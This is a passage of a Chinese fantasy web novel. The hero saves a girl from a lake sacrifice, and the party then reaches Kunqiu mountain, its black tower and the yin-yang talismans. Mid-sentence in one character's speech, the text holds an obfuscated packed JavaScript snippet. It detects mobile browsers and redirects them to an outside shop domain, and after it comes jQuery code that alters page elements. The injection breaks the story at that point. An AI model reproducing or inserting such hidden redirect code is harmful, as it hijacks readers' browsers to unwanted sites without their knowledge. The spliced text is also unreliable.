他体内灵力骤然爆发。承影剑的印记在手腕上亮起,青色的光芒顺着经脉流淌,与烈风煌的力量激烈碰撞。 烈风煌闷哼一声,被震得后退了半步。就在这个瞬间,九如挣脱了她的束缚,整个人如离弦之箭般窜了出去,几个起落就消失在桃林深处。 白砚站在一旁,一直沉默地看着这场争执。他看了看烈风煌——她正揉着被震得发麻的手臂,脸色阴沉得能滴出水来——又看了看九如消失的方向,最终什么也没说,转身跟了上去。 烈风煌狠狠一跺脚。 脚下的岩石应声碎裂,蛛网般的裂纹向四周蔓延。她咬着牙,从牙缝里挤出几个字:“谁知道你是不是干涉人家好事了呢……蠢货!” 骂完,她还是纵身跃起,黄衣在夜色中划出一道流光,追向两人离开的方向。 三人几乎是前后脚回到桃花村。 村中心的景象已经变了。 那顶黑色的花轿被抬了起来——不是由人抬着,而是由那些戴着白色面具的村民,用一种诡异的、整齐划一的步伐抬着,向村外的海边走去。 抬轿的村民有十几个,每个人都是一身白衣,脸上是那张画着血红黑洞的面具。他们的动作僵硬而协调,像是被同一根线操控的木偶,每一步都踏在相同的节奏上,发出沉闷的“咚咚”声。 花轿上的少女依旧是一身黑纱,蒙着黑布,鬓边的红花在夜风中微微颤动。她坐得笔直,双手交叠放在膝上,姿态端庄得如同真正的出嫁新娘。 周围没有唢呐声,没有鞭炮声,只有沉默。 死一般的沉默。 村民们跟在花轿后面,同样沉默着,同样戴着面具。他们的眼睛透过面具上的黑洞,死死盯着前方的花轿,眼神里没有任何情绪——没有喜悦,没有悲伤,没有期待,也没有恐惧。只有一种近乎麻木的平静,像是早已接受了这一切,接受了这每六十年一次的献祭。 花轿被抬到了海边——不是什刹海,而是桃花村外那片湖泊的岸边。 湖水在月光下泛着幽深的光芒,像一面巨大的黑色镜子,倒映着天上的圆月和周围的桃林。湖面平静无波,连一丝涟漪都没有,静得诡异。 抬轿的村民停下脚步,将花轿放在湖边。然后他们后退,退到村民队伍中,和其他人一起,静静地等待着什么。 九如就是在这一刻冲出来的。 没有任何废话,没有任何警告。他从桃林中疾射而出,承影剑在手,剑光如虹,直劈那些抬轿的村民。 剑气激荡,湖面被掀起数尺高的浪涛。那些村民——或者说是傀儡——被剑气击中,倒飞出去,重重摔在地上。面具碎裂,露出下面一张张茫然的脸。 但诡异的是,他们很快又爬了起来。 不是挣扎着爬起来,而是以一种机械的、不受控制的方式,直挺挺地站起。然后他们转过身,空洞的眼睛看向九如,没有任何愤怒,没有任何恐惧,只有一种非人的、彻底的漠然。 九如没有理会他们。 他冲到花轿前,一把抓住轿子上少女的手腕。触手冰凉,那温度低得不像是活人。 “跟我走!”他低吼,用力一拉。 手腕一痛。 那少女竟然反手抓住他的手腕,然后狠狠咬了下去! 尖锐的疼痛从手腕传来,九如下意识想要抽回手,但少女咬得极狠,牙齿深深嵌入皮肉,几乎要咬穿骨头。鲜血涌出,顺着少女的嘴角流下,滴在她身上的黑纱上,将那原本就黑得深邃的布料染得更黑,在月光下泛着暗红色的光泽。 “你……”九如难以置信地看着她。 少女松开口,抬起头。 她伸手,扯下了蒙眼的黑布。 月光下,那是一张清秀的脸——正是那个送他们鳞片的布衣少女。但此刻的她,脸上没有任何羞涩,没有任何温柔,只有一种近乎绝望的平静。 泪水从她眼中滑落,滴在九如手腕的伤口上。盐水刺激着伤口,带来一阵刺痛,但这痛远不及心中那股窒息的无力感。 “我不需要你的拯救,”少女开口,声音很轻,却清晰得可怕,“请你离开。” 九如抽回手,低头看着手腕上的伤口——两排深深的牙印,皮肉翻卷,鲜血还在汩汩流出。他抬头看向少女,脸色因为失血和震惊而泛白。 “……为什么?”他的声音有些颤抖,“为什么你们要接受这样的安排?为什么不惜命?” 这是他第二次问这个问题。 上一次,没有得到答案。 这一次,少女给了他答案。 她坐直了身体,黑纱随着动作微微晃动。月光洒在她脸上,那双总是弯弯如月牙的眼睛此刻睁得很大,里面没有笑意,只有一种看透一切的清醒。 “我不想跟翠姨一样。” 九如愣住。 “翠姨?”他喃喃道。 “何翠芳。”少女说,语气平静得像在叙述别人的故事,“我见过她——不是现在的她,是年轻时的她。村里人都说她命苦,说她傻,说她为了一个傻子女儿毁了自己的一生。” 她顿了顿,嘴角勾起一个苦涩的弧度:“但我看到的不是这样。我看到的是一个女人,被所谓的‘规矩’束缚了一生,被所谓的‘母爱’绑架了一生,被所谓的‘命运’愚弄了一生。她一生都在反抗,又一生都在妥协;一生都在追求幸福,又一生都在亲手毁掉幸福。” 少女抬起头,看向九如,眼睛里有泪光在闪烁:“你知道她最后是什么样子吗?我见过——在她被接走之前,我去给她送过东西。她坐在那间破屋里,眼神空洞,像个活死人。她一生都在挣扎,一生都在痛苦,最后什么都没有得到。” “可我呢?”少女反问,声音里终于有了一丝情绪,“我一生都被娇养,被呵护,被捧在手心里。我没有受过苦,没有受过累,没有尝过人间疾苦。我唯一的使命,就是在最美的年纪,嫁给‘神’,成为祭品,换取村子六十年的平安。” 她笑了笑,那笑容凄美得令人心碎:“我只有死的时候是不快乐的——只有那一刻,只有被沉入湖底的那一刻。但除此之外,我一生都是快乐的。我享受了最好的生活,得到了最多的关爱,甚至……甚至在我死的时候,全村的人都会为我送行,都会记住我的牺牲,都会感激我的奉献。” “而翠姨呢?”少女的声音低了下去,“她一生都不快乐。我从没见过她笑——真正地、发自内心地笑。她总是在哭,在抱怨,在绝望。她活了那么久,受了那么多苦,最后死得那么狼狈,那么不堪,连个记得她的人都没有。” 九如张了张嘴,却发现自己说不出话。 他想反驳,想告诉她生命的意义不在于长短,不在于快乐的多寡。想告诉她活着就有希望,活着就能改变。想告诉她死亡不是解脱,而是彻底的终结。 但看着少女那双清澈而坚定的眼睛,所有的话都卡在喉咙里,一个字也吐不出来。 因为她说的,可能都是对的。 至少,在她的认知里,在她的世界里,这些都是对的。 少女看着他,忽然勾起嘴角,冲他笑了笑。那笑容温柔而真诚,像春天的第一缕阳光,温暖得让人想哭。 “谢谢你,”她说,声音轻柔得像羽毛,“谢谢你愿意救我。虽然我不需要,但我真的很感激。祝你幸福——真正的、长久的幸福。” 说完,她重新拿起那块黑布,仔细地、郑重地蒙住自己的眼睛。 就像完成某种仪式。 就在黑布完全遮住眼睛的刹那,那些被九如击倒的村民——那些傀儡——突然又站了起来。 不是缓慢地、挣扎地站起,而是直挺挺地、像弹簧一样弹起。他们的动作整齐划一,面具下的眼睛重新变得空洞,重新恢复了那种非人的漠然。 他们走到花轿旁,重新抬起轿子。 然后,迈开脚步,一步一步,向湖中走去。 湖水没过了他们的脚踝,没过了膝盖,没过了腰际。但他们没有停下,没有犹豫,继续向前。花轿浮在水面上,随着他们的步伐轻轻晃动,像一艘黑色的船,缓缓驶向湖心。 九如站在原地,死死盯着那顶花轿。 盯着花轿上那个小小的、黑色的背影。 她坐得笔直,一动不动,任由湖水渐渐漫过轿底,漫过轿身。黑纱在夜风中微微飘动,鬓边那朵红花在月光下红得刺眼,像一滴血,滴在漆黑的夜里。 救不了。 又一次,他救不了。 就像无数次重生中,他眼睁睁看着身边的人死去,看着灾难降临,看着一切走向注定的结局。他试图改变,试图拯救,但每一次,都像在对抗一座无形的大山,无论他怎么挣扎,怎么努力,都无法撼动分毫。 为什么? 为什么他总是这样无力? 为什么他总是只能眼睁睁看着,什么也做不了? 湖水已经没过了抬轿村民的肩膀,花轿也只剩一半露在水面上。那些村民还在走,还在前进,仿佛前方不是死亡的深渊,而是光明的彼岸。 就在花轿即将完全沉没的刹那,异变突生。 湖心突然亮起一道金光。 那光不是从水面下透上来的,而是从水底深处、从湖心的最深处,骤然爆发的。金光刺破黑暗,照亮了整个湖面,将湖水染成一片璀璨的金色。 紧接着,湖水开始旋转。 不是自然的流动,而是有规律地、疯狂地旋转,形成一个巨大的漩涡。漩涡中心,正是那顶即将沉没的花轿。 抬轿的村民被卷入漩涡,瞬间被吞噬,消失不见。只有那顶花轿,悬浮在漩涡中心,随着水流旋转,却奇迹般地没有下沉。 花轿上的少女猛地扯下蒙眼布,惊恐地看向四周。 然后,她看到了。 漩涡深处,有什么东西正在升起。 不是棺材,不是画卷。 而是一个人。 一个男人。 他从湖底缓缓升起,长发如墨,在水中飘扬。他穿着一身青色的长袍,袍摆上绣着金色的龙纹,在金光中熠熠生辉。他的脸很年轻,很俊美,但那双眼睛——那双金色的眼睛——却透着一种跨越了千年的沧桑和疲惫。 金瞳。 白发。 不,不是白发。他的头发是黑色的,但在金光映照下,边缘泛着银色的光泽,像是月光洒在墨玉上。 九如的心脏狂跳起来。 金瞳……金瞳白发……他要找的人…… 但那不是守渊者。守渊者是白发,而这个人的头发是黑色的。而且,他的眼睛虽然是金色的,却没有守渊者那种燃烧般的炽热,反而是一种沉静的、近乎悲悯的温柔。 男人升到水面,悬浮在花轿前。他伸出手,轻轻触碰少女的脸颊。 少女颤抖着,但没有躲开。 “别怕。”男人开口,声音温和而低沉,像是从很远的地方传来,却清晰地响在每个人的耳边,“我不会伤害你。” 他转过头,看向岸边的九如。 四目相对。 九如浑身一震。 那双金色的眼睛里,他看到了熟悉的东西——不是容貌的熟悉,不是气质的熟悉,而是一种更深层的、灵魂层面的共鸣。就像……就像看着镜子里的自己,但又不一样。 “你是谁?”九如问,声音沙哑。 男人没有回答,只是看着他,看了很久。然后,他笑了。 那笑容很复杂,有欣慰,有苦涩,有解脱,还有一种……难以言喻的悲伤。 “终于……”男人轻声说,像是在自言自语,“终于等到了。” “等到什么?”白砚上前一步,警惕地盯着这个男人。 男人没有看他,依旧看着九如:“等到你来到这里,看到这一切,做出选择。” “选择什么?” “选择救,还是不救。”男人说,“选择干涉,还是旁观。选择改变,还是接受。” 他顿了顿,金色的瞳孔微微收缩:“每一个选择,都会带来不同的结局。但有些结局,早已注定。” 九如握紧承影剑:“你是乌禾?” 男人摇头:“乌禾已经死了。我是……他留下的残念。是他对这个世界最后的眷恋,最后的执念。” 他转头看向花轿上的少女:“她救过我。在她还是个孩子的时候,我在海边受伤,是她发现了我,照顾了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109772|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。虽然她不知道我是什么,虽然她只是出于本能地帮助一个受伤的生命,但那份善意,我记住了。” 少女怔怔地看着他,眼泪无声滑落。 “所以我还她一个人情。”男人继续说,声音温柔,“我用鳞片给她留下线索,希望她能找到我,希望我能救她。但我失败了——我被何翠芳杀死,被镇压在石碑之下,连残念都无法离开什刹海。” 他苦笑:“直到你们带着鳞片回来,直到她的血——你的血——滴在鳞片上,唤醒了最后的力量,才让我能暂时挣脱束缚,来到这里。” 九如低头看向手腕上的伤口。血还在流,一滴一滴,落在湖边的沙地上,渗进泥土里。 “所以你能救她?”烈风煌问。 男人点头,又摇头:“我能救她这一次。但我救不了这个村子,救不了这个循环。只要桃花村还在,只要这个仪式还在,就还会有下一个祭品,下下个祭品。除非……” “除非什么?”九如追问。 男人看着他,金色的眼睛里闪烁着奇异的光芒:“除非有人愿意付出代价,彻底打破这个循环。” “什么代价?” 男人没有回答,而是伸出手,指向湖心深处:“看到那根柱子了吗?” 九如顺着他手指的方向看去。在漩涡的中心,在金光最盛的地方,隐约能看到一根巨大的石柱——正是乌禾记忆中那根天柱,那根他守护了千百年的柱子。 “那是支撑这个世界的天柱之一。”男人说,“也是维持桃花村存在的根基。桃林之所以常年繁盛,村子之所以能存在,都是因为天柱的力量渗透到了这里。但天柱的力量不是无限的——它需要祭品,需要生命,来维持平衡。” 他顿了顿,声音低沉下去:“每一次献祭,都是在给天柱‘喂食’。用少女的生命,换取村子六十年的平安。这是交易,是契约,是……无法打破的规则。” 九如的心脏沉了下去。 所以他救不了。 不是因为村民愚昧,不是因为少女自愿,而是因为……这是规则。是这个世界的规则,是维持某种平衡必须付出的代价。 就像他的重生,就像他寻找守渊者的执念,就像白砚背负的罪孽——都是规则的一部分,都是无法打破的宿命。 “难道就一点办法都没有吗?”烈风煌不甘心地问。 男人沉默了很久。 湖面上的金光开始黯淡,漩涡开始减弱,他的身体也开始变得透明——残念的力量正在消散,他快要支撑不住了。 就在他即将完全消失的刹那,他看向九如,用尽最后的力气,说了一句话: “规则可以被打破……但需要更大的代价。” 话音落下,金光彻底消散,漩涡消失,湖面恢复了平静。 花轿悬浮在水面上,少女坐在轿中,呆呆地看着男人消失的地方,眼泪如断线的珍珠,不停地落下。 抬轿的村民消失了——不是沉入湖底,而是像从未存在过一样,彻底消失了。岸边的村民也消失了,那些白色的面具散落一地,在月光下泛着诡异的光泽。 整个湖边,只剩下九如三人,和那顶孤零零的花轿。 还有花轿上,那个终于得救,却哭得像个孩子的少女。 九如站在原地,看着平静的湖面,看着那轮倒映在水中的圆月,看着远处那片在夜色中依旧绚烂的桃林。 他忽然明白了。 有些救赎,不是拔出剑冲上去那么简单。 有些选择,不是对与错那么简单。 有些代价,不是他付得起那么简单。 他走到湖边,涉水走向花轿。水很凉,刺骨的凉,但他没有停下,一直走到轿前。 少女抬起头,泪眼朦胧地看着他。 “你……”她哽咽着,“你为什么不走?为什么不让我死?” 九如看着她,看了很久。然后,他伸出手,轻轻擦去她脸上的泪水。 “因为,”他说,声音很轻,却很坚定,“死不是解脱,活着才是。” 少女怔住了。 “活着,才能看到明天的太阳。活着,才能闻到花香,听到鸟鸣,感受到风的温柔。活着,才能哭,才能笑,才能爱,才能恨。”九如顿了顿,“活着,才能改变。” “改变什么?” “改变一切。”九如说,“改变这个村子,改变这个规则,改变这个循环。” 少女摇头,眼泪又涌了出来:“不可能的……村长说过,这是祖规,是传承,是……是注定的。” “没有什么事是注定的。”九如打断她,“如果有,我就不会站在这里。如果有,我就不会一次又一次重生,一次又一次寻找。” 他伸出手,握住她的手。那只手很凉,很瘦,但还有温度,还有脉搏,还有生命。 “跟我走。”他说,“离开这里,去外面的世界。去看看真正的山,真正的海,真正的人。去看看,除了当祭品,人生还有多少种可能。” 少女看着他,眼泪止不住地流,但眼神里,终于有了一点光。 一点微弱的、但真实存在的,希望的光。 她缓缓点头。 九如笑了。 他扶着她走下花轿,牵着她,一步一步,走回岸边。 白砚和烈风煌站在岸边,看着他们走过来。白砚的表情复杂,烈风煌则抱着手臂,撇了撇嘴,但眼神里,分明有一丝欣慰。 四人站在湖边,回头望向桃花村。 月光下的桃林依旧绚烂,但不知为何,那片粉色中,似乎透出了一丝衰败的气息。仿佛有什么东西,正在悄然改变。 “接下来去哪?”白砚问。 九如看了看身边的少女,又看了看手中的承影剑,最后望向远方的沙漠深处。 “去深渊之门。”他说,“去找守渊者。去找……答案。” 少女握紧了他的手,轻声问:“我能跟你们一起吗?” 九如低头看她,笑了:“当然。” 烈风煌叹了口气:“行吧,又多了个拖油瓶。” 但她说着,却从怀中掏出一块干净的布,递给少女:“擦擦脸,哭得跟花猫似的。” 少女接过布,破涕为笑。 四人一驴——黑驴不知何时也跟了过来,正悠闲地啃着岸边的青草——踏上了新的旅程。 月光下,他们的影子被拉得很长,交织在一起,分不清谁是谁。 而在他们身后,桃花村里,陶村长站在村口,望着他们离去的方向,久久不动。 他手中的桃木拐杖,不知何时,裂开了一道细缝。 像是某种预兆。 又像是某种终结。 夜风吹过,桃林沙沙作响。 像是在哭泣。 又像是在歌唱。 8. 圆合诡楼祭活城 昆丘山。 不是一座山峰,而是一整片连绵起伏的山丘。山体不高,却异常险峻,岩石嶙峋如巨兽的脊骨,在浓雾中若隐若现。山间古木参天,藤蔓如巨蟒缠绕,将整片山脉包裹得密不透风,仿佛一个沉睡千年的绿色囚笼。 山脚处,缓缓走来一行人。 两男两女。 红衣的是九如,经过连日的奔波,那身红袍已不复初见时的鲜亮,袖口和衣摆都磨出了毛边,沾满了风沙和草屑。但他脊背依旧挺得笔直,承影剑虽未出鞘,却隐隐有青光在剑印处流转,像一头随时会苏醒的猛兽。 黑衣的是白砚,白发用一根简单的木簪束起,额前几缕碎发被山风吹得凌乱。他眼神沉静,警惕地观察着周围的环境,每一步都走得极其小心,仿佛脚下不是山路,而是布满陷阱的雷池。 黄衣的是烈风煌,她走在最前面,弯刀已握在手中,刀身在林间漏下的阳光下闪着寒光。左眼角下的火纹似乎比以往更红了,像是感应到了什么,在微微发烫。 而白衣的—— 是芒种。 那个从桃花村救下的少女。她换下了那身象征死亡的黑纱,穿上了一身素白的长裙,头发用一根白色丝带松松束在脑后,露出清秀的脸庞。只是眼睛上依然蒙着那条两指宽的黑布——她说已经习惯了,不蒙着反而觉得不安。 烈风煌看着眼前浓密得几乎透不过气的山林,眉头紧锁:“这就是昆丘山。” 她的声音在寂静的山林中显得格外清晰,惊起几只飞鸟,扑棱棱地从树冠中飞出,消失在浓雾深处。 白砚仰头望着那些参天古木,缓缓道:“听说这里建了千年不倒的神塔,能通灵世界任何角落。” “是黑塔。”芒种小声纠正,“乌禾说过,神塔是世人的误传,真正的塔是黑色的,叫黑塔。塔里住着黑塔之主,能实现任何愿望——只要付出相应的代价。” 九如狠狠喘出一口气,抹了把额头的汗。山路难行,空气中弥漫着一股潮湿的霉味,混杂着腐烂的树叶和某种说不清的甜腻气息,让人胸闷。 “乌禾说的延续之地应该就是这里了。”他看向芒种,“乌禾有没有说过,这里要怎么进去?” 芒种掀起蒙眼的黑布一角——这是她紧张时的习惯性动作——嗫嚅道:“这里常年不对外开放,只能找到引路人,才能知道正确的路。乌禾只跟我说过,那个引路人叫非宝,喜欢住在树上。其他的……其他的就不知道了。” “树上?”九如捂头,“不会是松鼠吧?” 白砚从他话里听出一点苗头,挑眉:“怎么,你怕松鼠?” 九如不自在的撇过头,耳根微微发红:“谁会怕那玩意。我、我只是觉得……树上住人,不太正常。” 烈风煌嗤笑一声:“咱们这一路走来,见过正常的东西吗?傀儡,人龟,桃花嫁……现在多个树上住人,算什么稀奇。” 她顿了顿,环顾四周密密麻麻的树木,叹了口气:“问题是,这里树木成林,成千上万棵树,怎么找?” 白砚没有回答。 他闭上眼睛,深吸一口气,双手在胸前结了一个复杂的印诀。淡淡的白色光芒从他指尖溢出,像水波一样向四周扩散,触碰到的树木都发出轻微的嗡鸣,叶片无风自动。 几息之后,他睁开眼,眉头皱得更紧了。 “不对劲。”他说,“这里的树木……有生命,但不是自然的生命。像是……被某种力量强行催生的,每一棵树的气息都一模一样,连心跳都同步。” 九如下意识握紧了剑柄。 就在这时,白砚突然打了个响指。 “山不就我,我便就山。” 说完,在所有人反应过来之前,他猛地朝前方冲去——不是冲向山路,而是直接撞向一片看似普通的树林。 “白砚!”烈风煌惊呼。 但已经晚了。 白砚的身体在接触树林的瞬间,没有撞上树干,而是像投入水面的石子,激起一圈圈肉眼可见的涟漪。那不是空气的波动,而是空间本身的扭曲——树林的影像像水波一样荡漾开,露出后面真实的景象。 那是一个巨大的、透明的结界。 结界呈半球形,笼罩着整片昆丘山。结界表面流转着七彩的光芒,像是阳光下肥皂泡的色泽,美丽却脆弱。但白砚那一撞,不仅没有撞破结界,反而像是触动了什么机关—— 风,骤然刮起。 不是自然的风,而是从结界内部涌出的、狂暴的气流。狂风席卷山林,古木疯狂摇曳,枝叶如暴雨般落下,树干发出不堪重负的呻吟。整片山丘仿佛活了过来,开始震动,开始低吼,像一头被惊醒的远古巨兽。 “退后!”九如一把将芒种护在身后,承影剑出鞘,青光暴涨,在身前形成一道屏障。 烈风煌也拔出弯刀,刀身上的蓝色符文亮起,散发出凛冽的寒气。 震动持续了约莫十息。 然后,停了。 风停了,树停了,一切恢复了平静。 但结界没有消失,反而变得更加清晰。七彩的光芒流转得更快了,像是在积蓄力量,又像是在……召唤什么。 下一刻,树林中窜出一个绿影。 不是走,不是跑,而是“窜”——像一道绿色的闪电,在树枝间穿梭,速度快到肉眼几乎无法捕捉。只能看到一抹绿影在浓密的树冠中闪烁,忽左忽右,忽上忽下,如履平地。 不过眨眼间,绿影已经来到了众人面前。 不是从树上跳下,而是直接从一棵树的树干中“穿”了出来——像是那棵树只是虚影,而他才是实体。 九如手按在剑柄上,下意识将芒种挡在身后。 来人停在他们面前三丈处,站定。 那是一身精炼的短打绿衣,衣料轻薄贴身,勾勒出纤细却有力的身形。腰间束着一条翠绿色的腰带,带尾飘飘,在风中猎猎作响。最引人注目的是他耳边——左右各别了三根羽毛,不是普通的鸟羽,而是泛着金属光泽的奇异翎毛,每一根的颜色都不一样:赤、橙、黄、绿、青、蓝,像是彩虹的碎片。 羽毛末端用细如发丝的银链串起,吊着一串琉璃珠子,珠子晶莹剔透,在阳光下折射出七彩的光芒。链子末端,坠着一颗拇指大小的蓝色宝石,宝石内部仿佛有星光流转,美得令人窒息。 而他的脸—— 脸若圆月,饱满而柔和,皮肤是健康的小麦色,透着阳光的气息。眼睛大而圆,瞳孔是罕见的银灰色,像两汪清澈的泉水,倒映着林间的光影。鼻梁挺直,嘴唇微薄,嘴角天生上扬,像是在笑。 整个人看起来不过十七八岁,却有种不属于尘世的灵动和纯净,真如林中精灵,山间精怪。 他歪着头,银灰色的眼睛好奇地打量着四人,耳朵上的羽毛随着动作轻轻抖动,琉璃链子发出清脆的叮当声。 “咦,”他开口,声音清脆得像山泉击石,“昆丘山许久不来外人了。你们是打哪来的?” 九如没有放松警惕,但对方看起来没有敌意。他微微拱手,礼数周全:“我们是来寻神塔的,请问你知道如何去吗?” “神塔?”小精灵眨了眨眼,长长的睫毛像蝴蝶翅膀般扇动,“这里可没有什么神塔,只有黑塔。你们找错路了,回去吧。” 他说得轻描淡写,语气天真无邪,但九如却听出了一丝逐客的意味。 白砚上前一步,微微一笑。他笑起来的时候,那张总是冷峻的脸会柔和许多,白发在风中微扬,竟有几分出尘的气质。 “请问小兄弟,”他声音温和,“可认识一位叫乌禾的人?” 小精灵——非宝——的表情瞬间变了。 他收起那份天真和随意,银灰色的眼睛微微眯起,上下打量着白砚,像是在判断他的话是真是假。然后,他的鼻子动了动,像小动物一样嗅了嗅空气。 “你是乌禾的朋友?”他的语气里多了一丝警惕,也有一丝……期待? 白砚往后撤了一步,从九如身后拉出芒种,将她往前推了推:“我不是,她才是。” 所有人的目光都集中在芒种身上。 芒种有些紧张,手指绞着衣角,低着头不敢看非宝。但她身上的气息——或者说,乌禾留给她的气息——是无法作假的。 非宝歪了歪脑袋,羽毛随着他的动作抖了抖,琉璃链子叮当作响。他又嗅了嗅,这次更仔细,银灰色的眼睛渐渐亮了起来,像是发现了什么宝藏。 “还真是他的味道。”他喃喃道,语气里带着明显的怀念,“他可好久没来看我了……上次来是什么时候?三年?五年?记不清了。” 他顿了顿,目光在四人身上扫过,最后落在芒种身上:“你们找到这里,是有所求吧?我们这里只有黑塔,如果你们想见的话,我可以带你们进去。不过能不能达成你们的心愿,就不保证了。” 芒种想到什么,细声细气地问:“请问……你是非宝吗?” 非宝愣了一下,随即笑出声,那笑容灿烂得像是阳光穿透林间的雾气,整个人都明亮起来。 “你居然不认识我?”他指了指自己,语气里带着一丝得意,“在这昆丘山,还有第二个非宝吗?” 芒种有些羞涩地低下头,手指绞得更紧了:“我、我听乌禾提起过你。他说你是善良热情的好人,有任何困难都可以找你帮忙。” 非宝哈哈一笑,摸了摸后脑勺,耳朵上的羽毛和链子随着动作叮叮当当响成一片。 “我怎么不知道我原来这么好呢。”他笑够了,正色道,“乌禾那家伙,就会在外人面前给我戴高帽。行吧,既然你们是他的朋友,那就是我的朋友。跟我来,日落了可就封山了。” 他转身,走向那片透明的结界。 这一次,结界没有阻挡他。他的身体像融入水一样融入结界,七彩的光芒在他身边流转,却没有丝毫排斥。 九如三人对视一眼,都从对方眼中看到了犹豫。 但芒种已经跟了上去——她对乌禾的朋友有着天然的信任。 “走吧。”烈风煌咬了咬牙,“来都来了。” 四人一前一后,跟着非宝穿过结界。 穿过结界的瞬间,九如感觉到一股奇异的力量扫过全身——不是探查,不是攻击,而是一种……标记。像是有什么东西在他灵魂深处留下了一个印记,微弱但清晰。 他回头看去,结界外的景象已经模糊不清,像是隔着一层毛玻璃。而结界内的世界—— 完全不一样。 结界外是险峻的山路,浓密的古林,压抑的雾气。 结界内,却是另一番天地。 山路变得平坦宽阔,铺着光滑的青石板,石板上刻着复杂的符文,散发着淡淡的荧光。两旁的树木依旧高大,但不再是那种野蛮生长的古木,而是修剪得整整齐齐的观赏树,枝桠虬结,形态优美,像是精心设计过的园林。 雾气散了,阳光透过树叶的缝隙洒下来,在地上投下斑驳的光影。空气中弥漫着淡淡的花香,不是桃花的甜腻,而是某种清雅的、带着药草气息的香味。 最引人注目的是远处—— 一座建筑。 不,不止一座。 那是一整片建筑群,依山而建,层层叠叠,从山脚一直延伸到山顶。建筑风格古朴而恢弘,飞檐斗拱,雕梁画栋,像是某个失落的古国遗留下来的宫殿。 而在建筑群的最中央,矗立着一座塔。 黑色的塔。 塔身通体漆黑,像是用最深的夜色浇筑而成,表面没有任何装饰,光滑如镜,反射着天空和周围建筑的倒影。塔很高,高得几乎要刺破苍穹,顶端隐没在云层之中,看不真切。 塔身周围,环绕着七层圆环状的建筑,每一层都比下一层小一圈,像是套娃,又像是某种古老的祭坛。 “那就是黑塔。”非宝指着那座黑色的巨塔,语气里带着一丝自豪,“昆丘山的中心,黑塔之主的居所。” 他顿了顿,补充道:“不过黑塔不对外开放。你们要许愿的话,得先去圆合楼——就是塔下面那些圆环建筑。那里是接待外人的地方。” 一行人跟着非宝,沿着青石板路向前走。 路上遇到了不少人。男女老少都有,穿着统一的灰色长袍,步伐缓慢,表情平静——或者说,没有表情。他们看到非宝,会微微躬身行礼,但眼神空洞,像是没有灵魂的木偶。 更诡异的是,所有人的动作都出奇地一致——抬脚的幅度,摆臂的频率,呼吸的节奏,甚至连眨眼的间隔,都一模一样。 像是被同一根线操控的傀儡。 九如心里发毛,下意识靠近白砚。 白砚也察觉到了异常,低声说:“别盯着他们看,装作自然点。” 走了约莫一刻钟,他们来到了建筑群的外围。 非宝领着他们绕过几条蜿蜒的小路,才真正看清那座“圆合楼”的全貌。 那是一座圆形的筒子楼——或者说,是一系列同心圆建筑组成的复合体。建筑整体呈圆柱形,直径至少有百丈,高度也有三十丈以上。外墙是用一种黑色的石材砌成,石面光滑,上面刻满了密密麻麻的符文,在阳光下泛着幽光。 楼体上开着无数扇窗,每一扇窗都大小相同,间距相等,排列得井井有条,像是用尺子量过一样精确。窗户都是黑色的,看不清里面的景象。 而在圆合楼的顶端,竖着一根高高的旗帜。旗帜也是黑色的,上面用银线绣着一个复杂的图案——像是一只眼睛,又像是一个漩涡,在风中猎猎飘扬,却看不真切。 “那就是圆合楼的标志。”非宝介绍道,“代表‘容纳一切,圆融合一’。” 他领着四人走向圆合楼的入口。 走近了才发现,这座建筑居然有十几扇门。 不是并排的十几扇,而是分布在圆周上的十几扇,每一扇门都一模一样:黑色的木门,门上雕刻着和旗帜上相同的眼睛图案,门环是两个咬合在一起的银环。 非宝走到其中一扇门前,伸手按在门环上。 “来了圆合楼就是一家人。”他转过头,对四人笑道,“所以我们这里最多的就是门——门多,意味着接纳的人多。进了这里的门,你们就会收到欢迎。” 话音刚落,门无声地滑开。 不是向内开,也不是向外开,而是像舞台的幕布一样,向两侧滑开,露出里面的景象。 门内是一条长长的走廊,地面铺着黑色的玉石,光滑得能照出人影。两侧墙壁上镶嵌着发光的矿石,散发着柔和的白色光芒。走廊尽头,隐约能看到一个宽敞的大厅。 门口站着两个人。 不是守卫,也不是侍者——至少从衣着上看不像。他们穿着和其他人一样的灰色长袍,但腰间束着一条银色的腰带,腰带扣是那个眼睛图案。 两人看到非宝,同时弯腰行礼,动作整齐划一,连弯腰的角度都一模一样。 然后,他们从怀中掏出一叠符纸。 符纸是黑白色的——不是一张黑一张白,而是每一张符纸都是一半黑一半白,中间的分界线笔直得像用刀切过。符纸上用朱砂画着复杂的符文,符文扭曲诡异,像是某种古老的咒文。 非宝接过符纸,分给四人:“这是昆丘山的规矩。贴上阴阳符,就能收到黑塔之主的庇佑,你们的愿望都会被实现。” 九如看着手中的符纸。触手冰凉,纸面光滑,像是某种动物的皮。黑白的交界处,朱砂符文闪烁着微弱的光芒,像是活物在呼吸。 他本能地抗拒。 这符纸给他的感觉很不舒服——不是危险,而是一种……被窥视的感觉。像是贴上这符纸,就会有什么东西钻进他的身体,窥探他的灵魂。 “一定要贴吗?”他问。 非宝转过脸,银灰色的眼睛盯着他,嘴角依旧挂着笑,但眼神里却没有笑意:“不贴可进不去哦。” 他的语气很轻快,但话里的意思很明确:不贴,就不能进;不能进,就见不到黑塔;见不到黑塔,就实现不了愿望。 九如看向白砚和烈风煌。两人也看着手中的符纸,眉头紧锁。 芒种却已经将符纸贴在了胸口——她似乎对乌禾的朋友毫无保留地信任。 “贴吧。”白砚低声说,“来都来了。” 他先将符纸贴在腰间。符纸接触皮肤的瞬间,像是被磁铁吸引一样,“啪”地一声紧紧吸附在衣服上,边缘与布料完全贴合,看不出贴过的痕迹。 紧接着,白砚的表情变了。 不是痛苦,不是恐惧,而是一种……奇怪的轻松。像是背负了很久的重担突然卸下,像是渴了很久突然喝到甘泉,那种从灵魂深处涌出的、难以言喻的舒适和愉悦。 他闭上眼睛,深深吸了一口气,嘴角不自觉地勾起一个微笑。 那笑容很自然,很放松,但看在九如眼里,却有种说不出的诡异。 因为白砚从来不这样笑——或者说,自从九如认识他以来,白砚的笑容总是带着三分苦涩,七分沉重,从来没有这样纯粹地、毫无负担地笑过。 